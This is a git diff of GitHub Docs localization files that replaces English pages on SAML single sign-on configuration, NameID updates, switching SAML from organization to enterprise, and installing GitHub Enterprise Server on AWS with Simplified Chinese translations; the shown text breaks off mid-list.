metadata for {% data variables.location.product_location %} is available at `http(s)://HOSTNAME/saml/metadata`, where **HOSTNAME** is the hostname for your instance. {% data variables.product.product_name %} uses the `urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST` binding. +{% data variables.product.product_location %} 的 SP 元数据在 `http(s)://HOSTNAME/saml/metadata` 上已提供,其中 HOSTNAME 是实例的主机名。 {% data variables.product.product_name %} 使用 `urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST` 绑定。 -| Value | Other names | Description | Example | +| 值 | 其他名称 | 说明 | 示例 | | :- | :- | :- | :- | -| SP Entity ID | SP URL, audience restriction | Your top-level URL for {% data variables.product.product_name %} | `http(s)://HOSTNAME` -| SP Assertion Consumer Service (ACS) URL | Reply, recipient, or destination URL | URL where IdP sends SAML responses | `http(s)://HOSTNAME/saml/consume` | -| SP Single Sign-On (SSO) URL | | URL where IdP begins SSO | `http(s)://HOSTNAME/sso` | +| SP 实体 ID | SP URL、受众限制 | {% data variables.product.product_name %} 的顶级 URL | `http(s)://HOSTNAME` +| SP 断言使用者服务 (ACS) URL | 回复、收件人或目标 URL | IdP 发送 SAML 响应的 URL | `http(s)://HOSTNAME/saml/consume` | +| SP 单点登录 (SSO) URL | | IdP 开始 SSO 的 URL | `http(s)://HOSTNAME/sso` | {% elsif ghae %} -The SP metadata for your enterprise on {% data variables.product.product_name %} is available at `https://HOSTNAME/saml/metadata`, where **HOSTNAME** is the hostname for your enterprise on {% data variables.product.product_name %}. {% data variables.product.product_name %} uses the `urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST` binding. +{% data variables.product.product_name %} 上企业的 SP 元数据在 `https://HOSTNAME/saml/metadata` 上已提供,其中 HOSTNAME 是 {% data variables.product.product_name %} 上企业的主机名。 {% data variables.product.product_name %} 使用 `urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST` 绑定。 -| Value | Other names | Description | Example | +| 值 | 其他名称 | 说明 | 示例 | | :- | :- | :- | :- | -| SP Entity ID | SP URL, audience restriction | Your top-level URL for {% data variables.product.product_name %} | `https://HOSTNAME` | -| SP Assertion Consumer Service (ACS) URL | Reply, recipient, or destination URL | URL where IdP sends SAML responses | `https://HOSTNAME/saml/consume` | -| SP Single Sign-On (SSO) URL | | URL where IdP begins SSO | `https://HOSTNAME/sso` | +| SP 实体 ID | SP URL、受众限制 | {% data variables.product.product_name %} 的顶级 URL | `https://HOSTNAME` | +| SP 断言使用者服务 (ACS) URL | 回复、收件人或目标 URL | IdP 发送 SAML 响应的 URL | `https://HOSTNAME/saml/consume` | +| SP 单点登录 (SSO) URL | | IdP 开始 SSO 的 URL | `https://HOSTNAME/sso` | {% endif %} -## SAML attributes +## SAML 属性 -The following SAML attributes are available for {% data variables.product.product_name %}.{% ifversion ghes %} You can change the attribute names in the management console, with the exception of the `administrator` attribute. For more information, see "[Accessing the management console](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)."{% endif %} +以下 SAML 属性可用于 {% data variables.product.product_name %}。{% ifversion ghes %}你可以在管理控制台中更改属性名称,但 `administrator` 属性除外。 有关详细信息,请参阅“[访问管理控制台](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)”。{% endif %} -| Name | Required? | Description | +| 名称 | 必需? | 说明 | | :- | :- | :- | -| `NameID` | Yes | A persistent user identifier. Any persistent name identifier format may be used. {% ifversion ghec %}If you use an enterprise with {% data variables.product.prodname_emus %}, {% endif %}{% data variables.product.product_name %} will normalize the `NameID` element to use as a username unless one of the alternative assertions is provided. For more information, see "[Username considerations for external authentication](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication)."

{% note %}**Note:** It's important to use a human-readable, persistent identifier. Using a transient identifier format like `urn:oasis:names:tc:SAML:2.0:nameid-format:transient` will result in re-linking of accounts on every sign-in, which can be detrimental to authorization management.{% endnote %} | -| `SessionNotOnOrAfter` | No | The date that {% data variables.product.product_name %} invalidates the associated session. After invalidation, the person must authenticate once again to access {% ifversion ghec or ghae %}your enterprise's resources{% elsif ghes %}{% data variables.location.product_location %}{% endif %}. For more information, see "[Session duration and timeout](#session-duration-and-timeout)." | -{%- ifversion ghes or ghae %} -| `administrator` | No | When the value is `true`, {% data variables.product.product_name %} will automatically promote the user to be a {% ifversion ghes %}site administrator{% elsif ghae %}enterprise owner{% endif %}. Setting this attribute to anything but `true` will result in demotion, as long as the value is not blank. Omitting this attribute or leaving the value blank will not change the role of the user. | -| `username` | No | The username for {% data variables.location.product_location %}. | -{%- endif %} -| `full_name` | No | {% ifversion ghec %}If you configure SAML SSO for an enterprise and you use {% data variables.product.prodname_emus %}, the{% else %}The{% endif %} full name of the user to display on the user's profile page. | -| `emails` | No | The email addresses for the user.{% ifversion ghes or ghae %} You can specify more than one address.{% endif %}{% ifversion ghec or ghes %} If you sync license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_github_connect %} uses `emails` to identify unique users across products. For more information, see "[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)."{% endif %} | -| `public_keys` | No | {% ifversion ghec %}If you configure SAML SSO for an enterprise and you use {% data variables.product.prodname_emus %}, the{% else %}The{% endif %} public SSH keys for the user. You can specify more than one key. | -| `gpg_keys` | No | {% ifversion ghec %}If you configure SAML SSO for an enterprise and you use {% data variables.product.prodname_emus %}, the{% else %}The{% endif %} GPG keys for the user. You can specify more than one key. | +| `NameID` | 是 | 持久用户标识符。 可以使用任意持久名称标识符格式。 {% ifversion ghec %}如果将企业用于 {% data variables.product.prodname_emus %},{% endif %}{% data variables.product.product_name %} 将规范化要用作用户名的 `NameID` 元素,除非提供了其中一个替代断言。 有关详细信息,请参阅“[外部身份验证的用户名注意事项](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication)”。 | +| `SessionNotOnOrAfter` | 否 | {% data variables.product.product_name %} 使关联会话失效的日期。 使之失效之后,该用户必须再次进行身份验证才能访问{% ifversion ghec or ghae %}你的企业资源{% elsif ghes %}{% data variables.product.product_location %}{% endif %}。 有关详细信息,请参阅“[会话持续时间和超时](#session-duration-and-timeout)”。 | +{%- ifversion ghes or ghae %} | `administrator` | 否 | 当值为 `true` 时,{% data variables.product.product_name %} 会自动将用户提升为{% ifversion ghes %}站点管理员{% elsif ghae %}企业所有者{% endif %}。 将此属性设置为除 `true` 以外的任何值都将导致降级,只要该值不为空。 省略此属性或将值保留为空白不会更改用户的角色。 | | `username` | 否 | {% data variables.product.product_location %} 的用户名。 | {%- endif %} | `full_name` | 否 | {% ifversion ghec %}如果为企业配置 SAML SSO 并使用 {% data variables.product.prodname_emus %},则为{% else %}{% endif %}显示在用户配置文件页上的用户全名。 | | `emails` | 否 | 用户的电子邮件地址。{% ifversion ghes or ghae %} 可以指定多个地址。{% endif %}{% ifversion ghec or ghes %} 如果在 {% data variables.product.prodname_ghe_server %} 和 {% data variables.product.prodname_ghe_cloud %} 之间同步许可证使用情况,则 {% data variables.product.prodname_github_connect %} 使用 `emails` 在产品之间标识唯一用户。 有关详细信息,请参阅“[同步 {% data variables.product.prodname_ghe_server %} 和 {% data variables.product.prodname_ghe_cloud %} 之间的许可证使用情况](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)”。{% endif %} | | `public_keys` | 否 | {% ifversion ghec %}如果为企业配置 SAML SSO,并且使用 {% data variables.product.prodname_emus %},则为{% else %}{% endif %}用户的公共 SSH 密钥。 你可以指定多个密钥。 | | `gpg_keys` | 否 |{% ifversion ghec %}如果为企业配置 SAML SSO 并使用 {% data variables.product.prodname_emus %},则为{% else %}{% endif %}用户的 GPG 密钥。 你可以指定多个密钥。 | -To specify more than one value for an attribute, use multiple `` elements. +若要为属性指定多个值,请使用多个 `` 元素。 ```xml @@ -97,20 +95,20 @@ To specify more than one value for an attribute, use multiple ` ``` -## SAML response requirements +## SAML 响应要求 -{% data variables.product.product_name %} requires that the response message from your IdP fulfill the following requirements. +{% data variables.product.product_name %} 要求来自 IdP 的响应消息满足以下要求。 -- Your IdP must provide the `` element on the root response document and match the ACS URL only when the root response document is signed. If your IdP signs the assertion, {% data variables.product.product_name %} will ignore the assertion. -- Your IdP must always provide the `` element as part of the `` element. The value must match your `EntityId` for {% data variables.product.product_name %}.{% ifversion ghes or ghae %} This value is the URL where you access {% data variables.location.product_location %}, such as {% ifversion ghes %}`http(s)://HOSTNAME`{% elsif ghae %}`https://SUBDOMAIN.githubenterprise.com`, `https://SUBDOMAIN.github.us`, or `https://SUBDOMAIN.ghe.com`{% endif %}.{% endif %} +- 你的 IdP 必须在根响应文档上提供 `` 元素,并且仅在根响应文档已签名时才与 ACS URL 匹配。 如果 IdP 对断言进行了签名,{% data variables.product.product_name %} 将忽略该断言。 +- IdP 必须始终提供 `` 元素作为元素的 `` 一部分。 该值必须与 {% data variables.product.product_name %} 的 `EntityId` 一致。{% ifversion ghes or ghae %} 此值是用于访问 {% data variables.product.product_location %} 的 URL,例如 {% ifversion ghes %}`http(s)://HOSTNAME`{% elsif ghae %}`https://SUBDOMAIN.githubenterprise.com`、`https://SUBDOMAIN.github.us` 或 `https://SUBDOMAIN.ghe.com`{% endif %}。{% endif %} {%- ifversion ghec %} - - If you configure SAML for an organization, this value is `https://github.com/orgs/ORGANIZATION`. - - If you configure SAML for an enterprise, this URL is `https://github.com/enterprises/ENTERPRISE`. + - 如果为组织配置 SAML,则此值为 `https://github.com/orgs/ORGANIZATION`。 + - 如果为企业配置 SAML,则此 URL 为 `https://github.com/enterprises/ENTERPRISE`。 {%- endif %} -- Your IdP must protect each assertion in the response with a digital signature. You can accomplish this by signing each individual `` element or by signing the `` element. -- Your IdP must provide a `` element as part of the `` element. You may use any persistent name identifier format. -- Your IdP must include the `Recipient` attribute, which must be set to the ACS URL. The following example demonstrates the attribute. +- IdP 必须使用数字签名来保护响应中的每个断言。 你可以通过对每个单独的 `` 元素进行签名或通过对 `` 元素进行签名来完成。 +- IdP 必须提供 `` 元素作为 `` 元素的一部分。 可以使用任意持久名称标识符格式。 +- IdP 必须包含 `Recipient` 属性,该属性必须设置为 ACS URL。 下面的示例演示了该属性。 ```xml @@ -130,21 +128,20 @@ To specify more than one value for an attribute, use multiple ` ``` -## Session duration and timeout +## 会话持续时间和超时 -To prevent a person from authenticating with your IdP and staying authorized indefinitely, {% data variables.product.product_name %} periodically invalidates the session for each user account with access to {% ifversion ghec or ghae %}your enterprise's resources{% elsif ghes %}{% data variables.location.product_location %}{% endif %}. After invalidation, the person must authenticate with your IdP once again. By default, if your IdP does not assert a value for the `SessionNotOnOrAfter` attribute, {% data variables.product.product_name %} invalidates a session {% ifversion ghec %}24 hours{% elsif ghes or ghae %}one week{% endif %} after successful authentication with your IdP. +为防止有人使用你的 IdP 进行身份验证并无限期获得授权,{% data variables.product.product_name %} 会定期使有权访问{% ifversion ghec or ghae %}你的企业资源{% elsif ghes %}{% data variables.product.product_location %}的每个用户帐户会话失效{% endif %}。 使之失效后,该用户必须再次向 IdP 进行身份验证。 默认情况下,如果 IdP 未断言 `SessionNotOnOrAfter` 属性的值,{% data variables.product.product_name %} 会使会话在成功通过 IdP 进行身份验证后失效{% ifversion ghec %} 24 小时{% elsif ghes or ghae %}一周{% endif %}。 -To customize the session duration, you may be able to define the value of the `SessionNotOnOrAfter` attribute on your IdP. If you define a value less than 24 hours, {% data variables.product.product_name %} may prompt people to authenticate every time {% data variables.product.product_name %} initiates a redirect. +若要自定义会话持续时间,可以在 IdP 上定义 `SessionNotOnOrAfter` 属性的值。 如果定义的值小于 24 小时,{% data variables.product.product_name %} 可能会提示用户在每次 {% data variables.product.product_name %} 启动重定向时进行身份验证。 -{% ifversion ghec %} -To prevent authentication errors, we recommend a minimum session duration of 4 hours. For more information, see "[Troubleshooting SAML authentication](/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication#users-are-repeatedly-redirected-to-authenticate)." +{% ifversion ghec %} 为防止身份验证错误,建议会话的最短持续时间为 4 小时。 有关详细信息,请参阅“[对 SAML 身份验证进行故障排除](/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication#users-are-repeatedly-redirected-to-authenticate)”。 {% endif %} {% note %} -**Notes**: +**注释**: -- For Azure AD, the configurable lifetime policy for SAML tokens does not control session timeout for {% data variables.product.product_name %}. -- Okta does not currently send the `SessionNotOnOrAfter` attribute during SAML authentication with {% data variables.product.product_name %}. For more information, contact Okta. +- 对于 Azure AD,SAML 令牌的可配置生存期策略不会控制 {% data variables.product.product_name %} 的会话超时。 +- 目前,Okta 在 SAML 身份验证期间不会使用 {% data variables.product.product_name %} 发送 `SessionNotOnOrAfter` 属性。 有关详细信息,请联系 Okta。 {% endnote %} diff --git a/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md b/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md index d6049aaabf..b617835ce6 100644 --- a/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md +++ b/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md @@ -1,6 +1,6 @@ --- -title: Switching your SAML configuration from an organization to an enterprise account -intro: Learn special considerations and best practices for replacing an organization-level SAML configuration with an enterprise-level SAML configuration. +title: 将你的 SAML 配置从组织切换到企业帐户 +intro: 了解将组织级 SAML 配置替换为企业级 SAML 配置的特殊注意事项和最佳做法。 permissions: Enterprise owners can configure SAML single sign-on for an enterprise account. versions: ghec: '*' @@ -14,34 +14,37 @@ redirect_from: - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account - /admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account - /admin/identity-and-access-management/managing-iam-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account +ms.openlocfilehash: 0fa75185767984db574fc12a9e84404d5da9e002 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145098046' --- - -## About SAML single sign-on for enterprise accounts +## 关于企业帐户的 SAML 单点登录 {% data reusables.saml.dotcom-saml-explanation %} {% data reusables.saml.about-saml-enterprise-accounts %} {% data reusables.saml.switching-from-org-to-enterprise %} -When you configure SAML SSO at the organization level, each organization must be configured with a unique SSO tenant in your IdP, which means that your members will be associated with a unique SAML identity record for each organization they have successfully authenticated with. If you configure SAML SSO for your enterprise account instead, each enterprise member will have one SAML identity that is used for all organizations owned by the enterprise account. +在组织级别配置 SAML SSO 时,必须在 IdP 中使用唯一的 SSO 租户配置每个组织,这意味着成员将与他们已成功进行身份验证的每个组织的唯一 SAML 标识记录相关联。 如果改为为企业帐户配置 SAML SSO,则每个企业成员将有一个 SAML 标识,该标识用于企业帐户拥有的所有组织。 -After you configure SAML SSO for your enterprise account, the new configuration will override any existing SAML SSO configurations for organizations owned by the enterprise account. +为企业帐户配置 SAML SSO 后,新配置将覆盖企业帐户拥有组织的任何现有 SAML SSO 配置。 -Enterprise members will not be notified when an enterprise owner enables SAML for the enterprise account. If SAML SSO was previously enforced at the organization level, members should not see a major difference when navigating directly to organization resources. The members will continue to be prompted to authenticate via SAML. If members navigate to organization resources via their IdP dashboard, they will need to click the new tile for the enterprise-level app, instead of the old tile for the organization-level app. The members will then be able to choose the organization to navigate to. +当企业所有者为企业帐户启用 SAML 时,不会通知企业成员。 如果以前在组织级别强制执行 SAML SSO,则直接导航到组织资源时,成员不应看到重大差异。 系统将继续提示成员通过 SAML 进行身份验证。 如果成员通过 IdP 仪表板导航到组织资源,则需要单击企业级应用的新磁贴,而不是组织级应用的旧磁贴。 然后,成员将能够选择要导航到的组织。 -Any {% data variables.product.pat_generic %}s, SSH keys, {% data variables.product.prodname_oauth_apps %}, and {% data variables.product.prodname_github_apps %} that were previously authorized for the organization will continue to be authorized for the organization. However, members will need to authorize any PATs, SSH keys, {% data variables.product.prodname_oauth_apps %}, and {% data variables.product.prodname_github_apps %} that were never authorized for use with SAML SSO for the organization. +任何以前为组织授权的个人访问令牌 (PAT)、SSH 密钥、{% data variables.product.prodname_oauth_apps %} 和 {% data variables.product.prodname_github_apps %} 将继续获得组织授权。 但是,成员需要向从未授权用于组织的 SAML SSO 的任何 PAT、SSH 密钥、{% data variables.product.prodname_oauth_apps %} 和 {% data variables.product.prodname_github_apps %} 授权。 -SCIM provisioning is not currently supported when SAML SSO is configured for an enterprise account. If you are currently using SCIM for an organization owned by your enterprise account, you will lose this functionality when switching to an enterprise-level configuration. +为企业帐户配置 SAML SSO 时,目前不支持 SCIM 预配。 如果当前对企业帐户拥有的组织使用 SCIM,则切换到企业级配置时,将丢失此功能。 -You are not required to remove any organization-level SAML configurations before configuring SAML SSO for your enterprise account, but you may want to consider doing so. If SAML is ever disabled for the enterprise account in the future, any remaining organization-level SAML configurations will take effect. Removing the organization-level configurations can prevent unexpected issues in the future. +在为企业帐户配置 SAML SSO 之前,无需删除任何组织级 SAML 配置,但建议你考虑将其删除。 如果将来已为企业帐户禁用 SAML,则任何剩余的组织级 SAML 配置都将生效。 删除组织级配置可以防止将来出现意外问题。 -For more information about the decision to implement SAML SSO at the organization or enterprise level, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#considerations-for-enabling-saml-for-an-enterprise-or-organization)." +## 将你的 SAML 配置从组织切换到企业帐户 -## Switching your SAML configuration from an organization to an enterprise account - -1. Enforce SAML SSO for your enterprise account, making sure all organization members are assigned or given access to the IdP app being used for the enterprise account. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)." -1. Optionally, remove any existing SAML configuration for organizations owned by the enterprise account. To help you decide whether to remove the configurations, see "[About SAML single sign-on for enterprise accounts](#about-saml-single-sign-on-for-enterprise-accounts)." -1. If you kept any organization-level SAML configurations in place, to prevent confusion, consider hiding the tile for the organization-level apps in your IdP. -1. Advise your enterprise members about the change. - - Members will no longer be able to access their organizations by clicking the SAML app for the organization in the IdP dashboard. They will need to use the new app configured for the enterprise account. - - Members will need to authorize any PATs or SSH keys that were not previously authorized for use with SAML SSO for their organization. For more information, see "[Authorizing a {% data variables.product.pat_generic %} for use with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" and "[Authorizing an SSH key for use with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)." - - Members may need to reauthorize {% data variables.product.prodname_oauth_apps %} that were previously authorized for the organization. For more information, see "[About authentication with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on#about-oauth-apps-github-apps-and-saml-sso)." +1. 为企业帐户强制实施 SAML SSO,确保为所有组织成员分配或授予对用于企业帐户的 IdP 应用的访问权限。 有关详细信息,请参阅“[为企业配置 SAML 单一登录](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)”。 +1. (可选)删除企业帐户所拥有组织的任何现有 SAML 配置。 若要帮助你确定是否删除配置,请参阅“[关于企业帐户的 SAML 单一登录](#about-saml-single-sign-on-for-enterprise-accounts)”。 +1. 如果保留任何组织级 SAML 配置以防止混淆,请考虑在 IdP 中隐藏组织级应用的磁贴。 +1. 为企业成员提供更改建议。 + - 成员将无法再通过单击 IdP 仪表板中组织的 SAML 应用来访问其组织。 他们需要使用为企业帐户配置的新应用。 + - 成员需要授权以前未授权用于其组织的 SAML SSO 的任何 PAT 或 SSH 密钥。 有关详细信息,请参阅“[授权用于 SAML 单一登录的个人访问令牌](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)”和“[授权用于 SAML 单一登录的 SSH 密钥](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)”。 + - 成员可能需要重新授权以前为组织授权的 {% data variables.product.prodname_oauth_apps %}。 有关详细信息,请参阅“[关于通过 SAML 单一登录进行身份验证](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on#about-oauth-apps-github-apps-and-saml-sso)”。 diff --git a/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/updating-a-users-saml-nameid.md b/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/updating-a-users-saml-nameid.md index 65bdad9b8c..b84f2f4919 100644 --- a/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/updating-a-users-saml-nameid.md +++ b/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/updating-a-users-saml-nameid.md @@ -1,7 +1,7 @@ --- -title: Updating a user's SAML NameID +title: 更新用户的 SAML NameID shortTitle: Update SAML NameID -intro: 'When an account''s `NameID` changes on your identity provider (IdP) and the person can no longer {% ifversion ghes or ghae %}sign into {% data variables.location.product_location %}{% elsif ghec %}authenticate to access your enterprise''s resources{% endif %}, you must {% ifversion ghec %}either contact {% data variables.product.company_short %} Support or revoke the person''s linked identity{% elsif ghes %}update the `NameID` mapping on {% data variables.location.product_location %}{% elsif ghae %}contact {% data variables.product.company_short %} Support{% endif %}.' +intro: '如果标识提供者 (IdP) 上的帐户的`NameID` 发生更改,并且该人员无法再{% ifversion ghes or ghae %}登录到 {% data variables.product.product_location %}{% elsif ghec %}进行身份验证以访问企业的资源{% endif %},必须{% ifversion ghec %}联系 {% data variables.product.company_short %} 支持部门,或撤销该人员的链接标识{% elsif ghes %}更新 {% data variables.product.product_location %} 上的 `NameID` 映射{% elsif ghae %}联系 {% data variables.product.company_short %} 支持部门{% endif %}。' versions: ghes: '*' type: how_to @@ -11,25 +11,29 @@ topics: - Enterprise - Identity - SSO +ms.openlocfilehash: 7a151143219fc0885861beedb69a2608983c5588 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147717899' --- +## 关于用户的 SAML `NameID` 更新 -## About updates to users' SAML `NameID` +在某些情况下,可能需要更新与 SAML IdP 上的某个用户帐户关联的值。 如果该标识符也是你用于对 {% data variables.product.product_name %} 进行身份验证的 `NameID`,则必须更新实例上的 `NameID` 映射,以便此人可以继续成功进行身份验证。 有关详细信息,请参阅“[外部身份验证的用户名注意事项](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication)”。 -In some situations, you may need to update values associated with a person's account on your SAML IdP. If that identifier is also the `NameID` that you use for authentication on {% data variables.product.product_name %}, you must update the `NameID` mapping on your instance so the person can continue to authenticate successfully. For more information, see "[Username considerations for external authentication](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication)." +## 更新用户的 SAML `NameID` -## Updating a user's SAML `NameID` - -Enterprise owners can update a user's SAML `NameID` on a {% data variables.product.product_name %} instance. +企业所有者可以在 {% data variables.product.product_name %} 实例上更新用户的 SAML `NameID`。 {% data reusables.enterprise_site_admin_settings.access-settings %} -2. In the left sidebar, click **All users**. - !["All users" sidebar item in site administrator settings](/assets/images/enterprise/site-admin-settings/all-users.png) -3. In the list of users, click the username you'd like to update the `NameID` mapping for. - ![Username in list of instance user accounts](/assets/images/enterprise/site-admin-settings/all-users-click-username.png) -{% data reusables.enterprise_site_admin_settings.security-tab %} -5. To the right of "Update SAML NameID", click **Edit** . - !["Edit" button under "SAML authentication" and to the right of "Update SAML NameID"](/assets/images/enterprise/site-admin-settings/update-saml-nameid-edit.png) -6. In the "NameID" field, type the new `NameID` for the user. - !["NameID" field in modal dialog with NameID typed](/assets/images/enterprise/site-admin-settings/update-saml-nameid-field-in-modal.png) -7. Click **Update NameID**. - !["Update NameID" button under updated NameID value within modal](/assets/images/enterprise/site-admin-settings/update-saml-nameid-update.png) +2. 在左侧边栏中,单击“所有用户”。 + ![站点管理员设置中的“所有用户”边栏项](/assets/images/enterprise/site-admin-settings/all-users.png) +3. 在用户列表中,单击要为其更新 `NameID` 映射的用户名。 + ![实例用户帐户列表中的用户名](/assets/images/enterprise/site-admin-settings/all-users-click-username.png) {% data reusables.enterprise_site_admin_settings.security-tab %} +5. 在“更新 SAML NameID”右侧,单击“编辑”。 + ![“SAML 身份验证”下和“更新 SAML NameID”右侧的“编辑”按钮](/assets/images/enterprise/site-admin-settings/update-saml-nameid-edit.png) +6. 在“NameID”字段中,为用户键入新的 `NameID`。 + ![键入了 NameID 的模式对话框中的“NameID”字段](/assets/images/enterprise/site-admin-settings/update-saml-nameid-field-in-modal.png) +7. 单击“更新 NameID”。 + ![模式中已更新 NameID 值下的“更新 NameID”按钮](/assets/images/enterprise/site-admin-settings/update-saml-nameid-update.png) diff --git a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md index e45d5484e8..077f43d62e 100644 --- a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md +++ b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md @@ -1,6 +1,6 @@ --- -title: Installing GitHub Enterprise Server on AWS -intro: 'To install {% data variables.product.prodname_ghe_server %} on Amazon Web Services (AWS), you must launch an Amazon Elastic Compute Cloud (EC2) instance and create and attach a separate Amazon Elastic Block Store (EBS) data volume.' +title: 在 AWS 上安装 GitHub Enterprise Server +intro: '要在 Amazon Web Services (AWS) 上安装 {% data variables.product.prodname_ghe_server %},您必须启动 Amazon Elastic Compute Cloud (EC2) 实例并创建和连接单独的 Amazon Elastic Block Store (EBS) 数据卷。' redirect_from: - /enterprise/admin/guides/installation/installing-github-enterprise-on-aws - /enterprise/admin/installation/installing-github-enterprise-server-on-aws @@ -14,133 +14,136 @@ topics: - Infrastructure - Set up shortTitle: Install on AWS +ms.openlocfilehash: f91f2337cc13690d0476c836a15ec72a5c0685cb +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147876079' --- -## Prerequisites +## 先决条件 - {% data reusables.enterprise_installation.software-license %} -- You must have an AWS account capable of launching EC2 instances and creating EBS volumes. For more information, see the [Amazon Web Services website](https://aws.amazon.com/). -- Most actions needed to launch {% data variables.location.product_location %} may also be performed using the AWS management console. However, we recommend installing the AWS command line interface (CLI) for initial setup. Examples using the AWS CLI are included below. For more information, see Amazon's guides "[Working with the AWS Management Console](http://docs.aws.amazon.com/awsconsolehelpdocs/latest/gsg/getting-started.html)" and "[What is the AWS Command Line Interface](http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html)." +- 您必须具有能够启动 EC2 实例和创建 EBS 卷的 AWS 帐户。 有关详细信息,请参阅 [Amazon Web Services 网站](https://aws.amazon.com/)。 +- 启动 {% data variables.product.product_location %} 所需的大部分操作也可以使用 AWS 管理控制台执行。 不过,我们建议安装 AWS 命令行接口 (CLI) 进行初始设置。 下文介绍了使用 AWS CLI 的示例。 有关详细信息,请参阅 Amazon 指南“[使用 AWS 管理控制台](http://docs.aws.amazon.com/awsconsolehelpdocs/latest/gsg/getting-started.html)”和“[什么是 AWS 命令行接口](http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html)”。 {% note %} -**Note:** At this time {% data variables.product.prodname_ghe_server %} does not support the use of the Amazon IDMSv2 Metadata API. +注意:目前 {% data variables.product.prodname_ghe_server %} 不支持使用 Amazon IDMSv2 元数据 API。 {% endnote %} -This guide assumes you are familiar with the following AWS concepts: +本指南假定您已熟悉以下 AWS 概念: - - [Launching EC2 Instances](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/LaunchingAndUsingInstances.html) - - [Managing EBS Volumes](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html) - - [Using Security Groups](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) (For managing network access to your instance) - - [Elastic IP Addresses (EIP)](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) (Strongly recommended for production environments) - - [EC2 and Virtual Private Cloud](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-vpc.html) (If you plan to launch into a Virtual Private Cloud) - - [AWS Pricing](https://aws.amazon.com/pricing/) (For calculating and managing costs) + - [启动 EC2 实例](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/LaunchingAndUsingInstances.html) + - [管理 EBS 卷](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html) + - [使用安全组](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html)(用于管理对实例的网络访问) + - [弹性 IP 地址 